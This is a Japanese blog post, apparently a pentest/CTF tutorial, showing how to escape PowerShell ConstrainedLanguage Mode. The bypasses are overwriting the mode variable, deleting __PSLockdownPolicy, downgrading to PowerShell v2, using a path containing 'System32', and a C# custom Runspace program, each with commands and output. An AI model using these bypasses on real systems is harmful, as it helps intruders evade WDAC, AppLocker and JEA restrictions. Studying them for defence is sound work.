見出し画像

#139 ConstrainedLanguage Mode Bypass

 PowerShellは、強力な管理ツールですが、同時に攻撃者の格好の的でもあります。悪用に対する対策として、ConstrainedLanguage Modeという機能が導入されました。これは、PowerShellの機能を制限するもので、通常の使用ではほとんど問題がないものの、攻撃するには厳しい障壁となります。

具体的な制限については、公式ドキュメントを参照してください。

さて、壁あるところにバイパスあり。

ConstrainedLanguage Modeをバイパスして、FullLanguage Modeに昇格しましょうか。

Language Modeの確認方法

まずは、Language Modeの確認方法です。

> $ExecutionContext.SessionState.LanguageMode
FullLanguage

以下の4パターンの設定があり、下に行くほど厳しくなります。NoLanguageでも設定次第ではバイパスできるので、諦めないでください!

  • FullLanguage

  • RestrictedLanguage

  • ConstrainedLanguage

  • NoLanguage

Language Modeの設定

Language Modeの設定方法はいくつかあります。

1. 変数を直接上書きする

この方法は、だれでも簡単に上書きできてしまうので、非推奨です。

$ExecutionContext.SessionState.LanguageMode = "ConstrainedLanguage"

この状態で、許可されていない型を使ってみると、ブロックされます。

> [Math]::cos(1)
Cannot invoke method. Method invocation is supported only on core types in this language mode.
At line:1 char:1
+ [Math]::cos(1)
+ ~~~~~~~~~~~~~~
    + CategoryInfo          : InvalidOperation: (:) [], RuntimeException
    + FullyQualifiedErrorId : MethodInvocationNotSupportedInConstrainedLanguage

バイパス

$ExecutionContext.SessionState.LanguageMode = "FullLanguage"

2. 環境変数を設定する

"__PSLockdownPolicy"を環境変数に設定すると、ConstrainedLanguage Modeに制限できます。

[Environment]::SetEnvironmentVariable('__PSLockdownPolicy', '4', 'Machine')

これも、環境変数を削除してしまえば、FullLanguageにできます。ただし、環境変数の設定には、管理者権限が必要です。

バイパス

[Environment]::SetEnvironmentVariable('__PSLockdownPolicy', $null, 'Machine')


3. WDAC、AppLocker、JEA

お察しの通り、上のように簡単にはバイパスできないのがこちらです。

似た保護機構にAppLockerがあります。AppLockerは、サポートされているバージョンが限られているので、見る機会は少ないかもしれません。
また、WinRMなどで使うリモートのPowerShellセッションに対して制限をかけるJEAもあります。それぞれ特徴はありますが、バイパスの考え方は同じです。

※環境を用意できなかったので、バイパス手法のみ紹介します。

バイパス1 PowerShell ダウングレード

ConstrainedLanguage ModeはPowerShell v3で導入されたので、古いバージョンにダウングレードすることでバイパスできます。

> $ExecutionContext.SessionState.LanguageMode
ConstrainedLanguage
> powershell -version 2
Windows PowerShell
Copyright (C) 2009 Microsoft Corporation. All rights reserved.

> $ExecutionContext.SessionState.LanguageMode
FullLanguage


バイパス2 System32

これは、実装の不備だと思われますが、スクリプトのパスに"System32"が含まれていると、なぜかバイパスできます。

> type System32.ps1
$ExecutionContext.SessionState.LanguageMode
> $ExecutionContext.SessionState.LanguageMode
ConstrainedLanguage
> .\System32.ps1
FullLanguage

これはなんか腑抜けた感じで好きです。C:\Windows\System32以下のファイルをホワイトリストにしたかったんですかね。


バイパス3 カスタムRunspace

C#でごにょごにょすることでバイパスできます。
下記は、Language Modeをbypass.txtに書き出すプログラムです。

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Management.Automation;
using System.Management.Automation.Runspaces;

namespace CLMBypass
{
    internal class Program
    {
        static void Main(string[] args)
        {
            Runspace rs = RunspaceFactory.CreateRunspace();
            rs.Open();
            PowerShell ps = PowerShell.Create();
            ps.Runspace = rs;
            ps.AddScript("$ExecutionContext.SessionState.LanguageMode > .\\bypass.txt");
            ps.Invoke();
            rs.Close();
        }
    }
}

これを実行すると、FullLanguageでPowerShellスクリプトが実行されました。

> $ExecutionContext.SessionState.LanguageMode
ConstrainedLanguage
> .\CLMBypass.exe
> type bypass.txt
FullLanguage


まとめ

 ConstrainedLanguage Modeのバイパス方法をいくつか紹介しました。CTFやHTB以外ではあんまり使っているのをみたことがありませんが、侵入を前提とした防御を考えると、今後当たり前になってきてもおかしくありません。
 呼吸するようにバイパスできるようになります!

EOF


この記事が気に入ったらサポートをしてみませんか?